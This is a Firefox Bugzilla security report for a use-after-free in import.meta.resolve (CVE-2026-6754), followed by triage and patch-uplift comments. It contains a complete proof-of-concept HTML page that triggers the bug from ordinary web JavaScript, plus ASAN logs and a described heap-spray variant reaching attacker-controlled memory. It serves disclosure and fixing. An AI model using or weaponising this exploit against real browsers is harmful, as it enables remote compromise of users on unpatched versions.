Closed Bug 2027541 (CVE-2026-6754) Opened 7 months ago Closed 7 months ago

Saved import.meta.resolve Closure Holds Non-Reference-Counted Raw ModuleScript Pointer Leading to Use-After-Free After iframe Removal

Categories

(Core :: JavaScript Engine, defect, P1)

defect

Tracking

()

RESOLVED FIXED
151 Branch
Tracking Status
firefox-esr115 150+ fixed
firefox-esr140 150+ fixed
firefox149 --- wontfix
firefox150 + fixed
firefox151 + fixed

People

(Reporter: guoxuehhh, Assigned: allstars.chh)

References

Details

(4 keywords, Whiteboard: [client-bounty-form][adv-main150+][adv-esr115.35+][adv-esr140.10+])

Attachments

(2 files, 8 external files, 2 obsolete files)

4.67 KB, text/html
Details
4.33 KB, text/html
Details

Brief/Intro

Firefox's module loader stores a ModuleScript* as a PrivateValue in the import.meta.resolve function's reserved slot via SetFunctionNativeReserved without calling AddRef() to increment the reference count. For inline modules (<script type="module"> embedded directly in HTML), the ModuleScript is not stored in the mFetchedModules module map, so its only strong reference comes from the JS module record via HostAddRefTopLevelScript. When JavaScript saves the import.meta.resolve reference to an outer scope (such as a parent window), then removes the iframe and triggers GC to collect the module record, HostReleaseTopLevelScript decrements the ModuleScript's reference count to zero and frees the object. Calling the saved resolve function afterwards dereferences the dangling ModuleScript* pointer, resulting in a Use-After-Free. This vulnerability can be triggered from ordinary web page JavaScript without any special privileges or user interaction.

Vulnerability Details

ModuleLoaderBase::HostPopulateImportMeta() stores a raw ModuleScript* pointer in the resolve function's reserved slot when defining the function on the import.meta object:

// js/loader/ModuleLoaderBase.cpp — HostPopulateImportMeta()
JSFunction* resolveFunc = js::DefineFunctionWithReserved(
    aCx, aMetaObject, "resolve", ImportMetaResolve, ImportMetaResolveNumArgs,
    JSPROP_ENUMERATE);
// ...
RootedObject resolveFuncObj(aCx, JS_GetFunctionObject(resolveFunc));
js::SetFunctionNativeReserved(
    resolveFuncObj, static_cast<size_t>(ImportMetaSlots::ModulePrivateSlot),
    aReferencingPrivate);  // PrivateValue(ModuleScript*), no AddRef

Here aReferencingPrivate contains a raw pointer to a ModuleScript object, stored as a JS::PrivateValue. SetFunctionNativeReserved simply copies the value into the JS function object's reserved slot without any reference counting operation.

When the resolve function is called, ImportMetaResolve retrieves the raw pointer from the reserved slot and passes it to ImportMetaResolveImpl:

// js/loader/ModuleLoaderBase.cpp — ImportMetaResolveImpl()
JSString* ModuleLoaderBase::ImportMetaResolveImpl(
    JSContext* aCx, Handle<Value> aReferencingPrivate,
    Handle<JSString*> aSpecifier) {
  {
    RefPtr<ModuleScript> script =
        static_cast<ModuleScript*>(aReferencingPrivate.toPrivate());  // UAF
    MOZ_ASSERT(script->IsModuleScript());
    // ...
  }
}

static_cast<ModuleScript*>(aReferencingPrivate.toPrivate()) dereferences the raw pointer from the reserved slot and assigns it to a RefPtr, performing AddRef(). If the ModuleScript has already been freed, this is a Use-After-Free.

For inline modules (<script type="module"> embedded directly in HTML), the ModuleScript object is not stored in the mFetchedModules module map (which only stores modules fetched via URL). Therefore, the inline module's ModuleScript has its only strong reference from the SpiderMonkey engine via HostAddRefTopLevelScript. When GC collects the module record, HostReleaseTopLevelScript calls Release(), the reference count drops to zero, and the ModuleScript is freed.

The attack chain is very straightforward: create an inline module inside an iframe that saves its import.meta.resolve reference to a global variable in the parent window. After removing the iframe, the module loader is destroyed, but the resolve function is still held by the parent window (as an ordinary JS function object). After triggering GC to collect the module record, the ModuleScript is freed. Calling resolve('./test.js') from the parent window then triggers the UAF.

Impact Details

This vulnerability is a heap-use-after-free READ with an ASAN SCARINESS rating of 51 (8-byte-read-heap-use-after-free). The freed ModuleScript object is 256 bytes in size.

In ImportMetaResolveImpl, after performing static_cast on the dangling pointer and assigning it to a RefPtr, AddRef() is called. Subsequent code also calls virtual functions such as IsModuleScript() and ModuleRecord() through the RefPtr. An attacker can use heap spraying to reclaim the freed 256-byte region after the ModuleScript is freed, controlling the vtable pointer and other members to achieve control flow hijacking.

The trigger conditions require only standard Web APIs: <script type="module"> to create an inline module, import.meta.resolve to obtain the resolve function reference, iframe creation and removal, and memory pressure to trigger GC. No autoconfig, no Cu.forceGC(), and no special privileges are required. Normal memory allocation activity from a web page is sufficient to trigger GC collection of the module record.

References

SetFunctionNativeReserved storing raw PrivateValue without AddRef:
https://searchfox.org/mozilla-central/source/js/loader/ModuleLoaderBase.cpp#467-470

ImportMetaResolveImpl dereferencing toPrivate() (UAF point):
https://searchfox.org/mozilla-central/source/js/loader/ModuleLoaderBase.cpp#381-382

ImportMetaResolve retrieving raw pointer from reserved slot:
https://searchfox.org/mozilla-central/source/js/loader/ModuleLoaderBase.cpp#346-349

Proof of Concept

This PoC creates an inline module inside an iframe, saves import.meta.resolve to the parent window, removes the iframe and triggers GC via memory pressure to free the ModuleScript, then calls the saved resolve function to trigger the UAF. No source code modifications, autoconfig configuration, or special privileges are required.

PoC page (poc.html, served via an HTTP server):

<!DOCTYPE html>
<html>
<head>
<title>import.meta.resolve UAF PoC</title>
</head>
<body>
<h2>import.meta.resolve UAF</h2>
<pre id="log"></pre>
<script>
function log(msg) {
  document.getElementById('log').textContent += msg + '\n';
  console.log(msg);
}

window.stolenResolve = null;
window.resolveReady = false;

function createPoisonedIframe() {
  return new Promise(function(resolve) {
    var iframe = document.createElement('iframe');
    iframe.srcdoc = '<!DOCTYPE html><html><body>' +
      '<script type="module">' +
      'window.parent.stolenResolve = import.meta.resolve;' +
      'window.parent.resolveReady = true;' +
      '<\/script></body></html>';
    document.body.appendChild(iframe);

    function check() {
      if (window.resolveReady) {
        log('[+] Got import.meta.resolve from iframe inline module');
        resolve(iframe);
      } else {
        setTimeout(check, 50);
      }
    }
    setTimeout(check, 100);
  });
}

function forceGC() {
  // Memory pressure to trigger GC
  var garbage = [];
  for (var i = 0; i < 200; i++) {
    garbage.push(new ArrayBuffer(1024 * 1024));
  }
  garbage = null;
  for (var wave = 0; wave < 5; wave++) {
    var tmp = [];
    for (var i = 0; i < 100; i++) {
      tmp.push(new ArrayBuffer(512 * 1024));
    }
    tmp = null;
  }
}

async function exploit() {
  log('[*] import.meta.resolve UAF PoC');
  log('[*] ModuleLoaderBase.cpp:468-470 stores PrivateValue without AddRef');

  // Step 1: Create iframe with inline module that leaks resolve
  log('[1] Creating iframe with inline module...');
  var iframe = await createPoisonedIframe();
  log('    resolve function type: ' + typeof window.stolenResolve);

  // Step 2: Destroy the iframe
  log('[2] Destroying iframe to release module loader references...');
  iframe.remove();

  // Step 3: Force GC to collect the module record
  log('[3] Forcing garbage collection to free ModuleScript...');
  await new Promise(function(r) { setTimeout(r, 100); });

  forceGC();
  for (var round = 0; round < 5; round++) {
    await new Promise(function(r) { setTimeout(r, 100); });
    forceGC();
  }
  await new Promise(function(r) { setTimeout(r, 500); });
  log('    GC cycles completed');

  // Step 4: Call the dangling resolve function
  log('[4] Calling dangling import.meta.resolve (UAF trigger)...');
  try {
    for (var i = 0; i < 10; i++) {
      var result = window.stolenResolve('./test' + i + '.js');
      log('    resolve(' + i + ') returned: ' + result);
    }
    log('[!] Check ASAN output for heap-use-after-free');
  } catch (e) {
    log('[!] Exception: ' + e.message);
  }
}

exploit();
</script>
</body>
</html>

To reproduce, serve poc.html via an HTTP server (e.g., python3 -m http.server 8080) and open http://localhost:8080/poc.html with an ASAN Firefox build (with MOZ_DISABLE_CONTENT_SANDBOX=1 set). Wait approximately 20 seconds and check the ASAN log.

The following is the actual ASAN output from execution, confirming the Use-After-Free:

==2065578==ERROR: AddressSanitizer: heap-use-after-free on address 0x7c1b2e204250
at pc 0x7b0b12040e23 bp 0x7ffe672e4d50 sp 0x7ffe672e4d48
READ of size 8 at 0x7c1b2e204250 thread T0 (Web Content)
SCARINESS: 51 (8-byte-read-heap-use-after-free)
    #0 nsAutoOwningThread::IsCurrentThread()        nsISupportsImpl.cpp:46
    #1 nsAutoOwningThread::AssertCurrentThreadOwnsMe  nsISupportsImpl.cpp:39
    #3 JS::loader::LoadedScript::AddRef()           LoadedScript.cpp:68
    #4 JS::loader::ModuleScript::AddRef()           LoadedScript.cpp:373
    #8 ModuleLoaderBase::ImportMetaResolveImpl()     ModuleLoaderBase.cpp:382
    #9 ModuleLoaderBase::ImportMetaResolve()         ModuleLoaderBase.cpp:362

0x7c1b2e204250 is located 16 bytes inside of 256-byte region [0x7c1b2e204240,0x7c1b2e204340)

freed by thread T0 (Web Content) here:
    #0 free                                          asan_malloc_linux.cpp:51

SUMMARY: AddressSanitizer: heap-use-after-free
  nsISupportsImpl.cpp:46 in nsAutoOwningThread::IsCurrentThread() const

ASAN reports shadow bytes as fd (freed heap region), confirming that the ModuleScript object (256-byte heap region) had already been freed when ImportMetaResolveImpl() performed static_cast and called AddRef(). The crash stack trace shows the complete UAF path from ImportMetaResolve() through ImportMetaResolveImpl() to ModuleScript::AddRef(), where AddRef attempts to access the nsAutoOwningThread member on the freed object, triggering ASAN detection.

Flags: sec-bounty?
Group: firefox-core-security → javascript-core-security
Component: Security → JavaScript Engine
Keywords: csectype-uaf
Product: Firefox → Core
Attached file poc.html —

NI Yoshi to take a look at this.

Flags: needinfo?(allstars.chh)
Assignee: nobody → allstars.chh
Severity: -- → S3
Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true
Flags: needinfo?(allstars.chh)
Priority: -- → P2

Hi, I'd like to provide additional analysis on the exploitability of this vulnerability.

The initial ASAN report crashed at nsAutoOwningThread::IsCurrentThread() (READ of size 8, SCARINESS 51). However, this function is a Nightly-only thread-safety diagnostic check (defined in nsDebug.h, guarded by #if defined(NIGHTLY_BUILD) && !defined(MOZ_PROFILING)), and is completely compiled out in Release builds. This check triggers MOZ_Crash before AddRef() actually executes, masking the true severity of the vulnerability in production builds.

To verify the actual behavior in Release builds, I built a release+ASAN version.

Test 1: Original PoC (release+ASAN)

The same PoC on the release build now crashes at nsCycleCollectingAutoRefCnt::incr():

==467184==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6d541b62b348 at pc 0x6c540556db4b bp 0x7ffc434ff770 sp 0x7ffc434ff768
READ of size 8 at 0x6d541b62b348 thread T0 (Isolated Web Co)
SCARINESS: 33 (8-byte-read-heap-buffer-overflow-far-from-bounds)
    #0 nsCycleCollectingAutoRefCnt::incr(void*, nsCycleCollectionParticipant*) nsISupportsImpl.h:253
    #1 nsCycleCollectingAutoRefCnt::incr(nsISupports*)                        nsISupportsImpl.h:248
    #2 JS::loader::LoadedScript::AddRef()                                     LoadedScript.cpp:68
    #3 JS::loader::ModuleScript::AddRef()                                     LoadedScript.cpp:373
    #4 RefPtr<JS::loader::ModuleScript>::RefPtr(JS::loader::ModuleScript*)    RefPtr.h:106
    #5 ModuleLoaderBase::ImportMetaResolveImpl(...)                           ModuleLoaderBase.cpp:382
    #6 ModuleLoaderBase::ImportMetaResolve(...)                               ModuleLoaderBase.cpp:362

incr() performs ++mRefCnt — a read-modify-write operation on the freed 256-byte ModuleScript object. ASAN intercepts at the read phase, but the subsequent write (refcount increment) would execute directly in production Release builds without ASAN.

Test 2: Heap spray PoC (release+ASAN)

After the ModuleScript is freed, the PoC sprays large numbers of 256-byte ArrayBuffer allocations to reclaim the freed memory. The code successfully traverses the entire virtual function call chain: AddRef(ModuleScript) → IsModuleScript() → ModuleRecord() → ResolveModuleSpecifier(), and ultimately crashes when reading the mBaseURL field from attacker-controlled memory:

==478300==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x7490c855b052 bp 0x7ffefdb4db30 sp 0x7ffefdb4d700 T0)
==478300==The signal is caused by a READ memory access.
==478300==Hint: this fault was caused by a dereference of a high value address (see register values below).
SCARINESS: 20 (wild-addr-read)
    #0 mozilla::RefPtrTraits<nsIURI>::AddRef(nsIURI*)                          RefPtr.h:46
    #1 nsCOMPtr<nsIURI>::assign_with_AddRef(nsIURI*)                           nsCOMPtr.h:808
    #2 nsCOMPtr<nsIURI>::operator=(nsIURI*)                                    nsCOMPtr.h:588
    #3 ImportMap::ResolveModuleSpecifier(...)                                   ImportMap.cpp
    #4 ModuleLoaderBase::ResolveModuleSpecifier(...)                           ModuleLoaderBase.cpp:1120
    #5 ModuleLoaderBase::ImportMetaResolveImpl(...)                            ModuleLoaderBase.cpp:396
    #6 ModuleLoaderBase::ImportMetaResolve(...)                                ModuleLoaderBase.cpp:362

Register values:
rax = 0x656966696e550008    ← address read from attacker-controlled memory

rax = 0x656966696e550008 is the mBaseURL field value read from heap-sprayed data. ASAN reports this as wild-addr-read, confirming that the heap spray successfully reclaimed the freed memory region and the code is dereferencing an attacker-controlled pointer. The freed ModuleScript is a fixed 256-byte heap allocation. An attacker can precisely control this region via heap spraying, forge the vtable pointer, and achieve RCE through vtable hijack on the virtual function calls.

The Heap Spray PoC is here.

Attached file poc_spray.html —
Keywords: sec-high
Duplicate of this bug: 2028013

The severity field for this bug is set to S3. However, the bug is flagged with the sec-high keyword.
:allstars.chh, could you consider increasing the severity of this security bug?

For more information, please visit BugBot documentation.

Flags: needinfo?(allstars.chh)

The severity field for this bug is set to S3. However, the following bug duplicate has higher severity:

:allstars.chh, could you consider increasing the severity of this bug to S2?

For more information, please visit BugBot documentation.

Flags: needinfo?(allstars.chh)
Severity: S3 → S2
Flags: needinfo?(allstars.chh)
Priority: P2 → P1

[Tracking Requested - why for this release]: sec-high landed with a test so we want to make sure it gets uplifted. I don't know if it actually affects ESR or not but I'll nominate for tracking anyways.

This should have gotten sec-approval prior to landing, and should not have landed with the test. Please fill out the sec-approval form now so we can get a sense of the scope of the issue. Thanks.

Flags: needinfo?(allstars.chh)
Group: javascript-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 7 months ago
Resolution: --- → FIXED
Target Milestone: --- → 151 Branch

(In reply to Andrew McCreight [:mccr8] from comment #13)

[Tracking Requested - why for this release]: sec-high landed with a test so we want to make sure it gets uplifted. I don't know if it actually affects ESR or not but I'll nominate for tracking anyways.

Will leave ESR tracking pending until it's been confirmed

Comment on attachment 9562762 [details]
(secure)

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: Difficult, an exploit needs to keep a reference to 'import.meta.resolve', and figure out how to make the ModuleScript freed by CycleCollector, to trigger the UAF.
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
  • Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: beta, release, ESR
  • If not all supported branches, which bug introduced the flaw?: None
  • Do you have backports for the affected branches?: Yes
  • If not, how different, hard to create, and risky will they be?:
  • How likely is this patch to cause regressions; how much testing does it need?: Difficult, this patch holds the reference to the ModuleObject to prevent it from GCed, hence prevents UAF.
  • Is the patch ready to land after security approval is given?: Yes
  • Is Android affected?: Yes
Flags: needinfo?(allstars.chh)
Attachment #9562762 - Flags: sec-approval?

(In reply to Andrew McCreight [:mccr8] from comment #14)

This should have gotten sec-approval prior to landing, and should not have landed with the test. Please fill out the sec-approval form now so we can get a sense of the scope of the issue. Thanks.

Sorry, I must have confused this with other bug and forgot this bug is mared sec-high later.

The patch landed in nightly and beta is affected.
:allstars.chh, is this bug important enough to require an uplift?

For more information, please visit BugBot documentation.

Flags: needinfo?(allstars.chh)

I'll wait for the sec-approval to uplift.

Flags: needinfo?(allstars.chh)

Comment on attachment 9562763 [details]
(secure)

test already landed, so no reason it can't be uplifted

Attachment #9562763 - Flags: sec-approval? → sec-approval+

Comment on attachment 9562762 [details]
(secure)

Approved to uplift

Attachment #9562762 - Flags: sec-approval? → sec-approval+
Attachment #9566881 - Flags: approval-mozilla-beta?

firefox-beta Uplift Approval Request

  • User impact if declined/Reason for urgency: UAF if import.meta.resolve is used after the owner document of the module graph is destroyed.
  • Code covered by automated testing?: yes
  • Fix verified in Nightly?: no
  • Needs manual QE testing?: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: This keeps the reference to the module object instead to prevent it from GC.
  • String changes made/needed?: no
  • Is Android affected?: yes
Attachment #9566882 - Flags: approval-mozilla-beta?
Attachment #9566881 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
Attachment #9566882 - Flags: approval-mozilla-beta? → approval-mozilla-beta+

Please also add ESR140 and ESR115 uplift requests.

Flags: needinfo?(allstars.chh)
QA Whiteboard: [sec] [uplift] [qa-triage-done-c151/b150]

I also request to uplift the patches to the release channel.

Flags: needinfo?(allstars.chh)
Attachment #9567511 - Flags: approval-mozilla-release?

firefox-release Uplift Approval Request

  • User impact if declined/Reason for urgency: UAF if import.meta.resolve is used after the owner document of the module graph is destroyed
  • Code covered by automated testing?: yes
  • Fix verified in Nightly?: no
  • Needs manual QE testing?: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: This keeps the reference to the module object instead to prevent it from GC.
  • String changes made/needed?: no
  • Is Android affected?: yes
Attachment #9567512 - Flags: approval-mozilla-release?
Attachment #9567572 - Flags: approval-mozilla-esr140?
Attachment #9567573 - Flags: approval-mozilla-esr140?
Attachment #9567576 - Flags: approval-mozilla-esr115?
Attachment #9567577 - Flags: approval-mozilla-esr115?
Attachment #9567512 - Attachment is obsolete: true
Attachment #9567512 - Flags: approval-mozilla-release?
Attachment #9567511 - Attachment is obsolete: true
Attachment #9567511 - Flags: approval-mozilla-release?

firefox-esr140 Uplift Approval Request

  • User impact if declined/Reason for urgency: UAF if import.meta.resolve is used after the owner document of the module graph is destroyed.
  • Code covered by automated testing?: yes
  • Fix verified in Nightly?: no
  • Needs manual QE testing?: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: This keeps the reference to the module object instead to prevent it from GC.
  • String changes made/needed?: no
  • Is Android affected?: yes

firefox-esr115 Uplift Approval Request

  • User impact if declined/Reason for urgency: UAF if import.meta.resolve is used after the owner document of the module graph is destroyed.
  • Code covered by automated testing?: yes
  • Fix verified in Nightly?: no
  • Needs manual QE testing?: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: This keeps the reference to the module object instead to prevent it from GC.
  • String changes made/needed?: no
  • Is Android affected?: yes
Attachment #9567572 - Flags: approval-mozilla-esr140? → approval-mozilla-esr140+
Attachment #9567573 - Flags: approval-mozilla-esr140? → approval-mozilla-esr140+
Attachment #9567576 - Flags: approval-mozilla-esr115? → approval-mozilla-esr115+
Attachment #9567577 - Flags: approval-mozilla-esr115? → approval-mozilla-esr115+
Flags: sec-bounty? → sec-bounty+
Whiteboard: [client-bounty-form] → [client-bounty-form][adv-main150+]
Whiteboard: [client-bounty-form][adv-main150+] → [client-bounty-form][adv-main150+][adv-esr115.35+]
Whiteboard: [client-bounty-form][adv-main150+][adv-esr115.35+] → [client-bounty-form][adv-main150+][adv-esr115.35+][adv-esr140.10+]

Hi,
I wanted to follow up on the $5,000 bounty for Bug 2027541, ould you let me know when the payment will be processed?
Thank you!

Alias: CVE-2026-6754
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: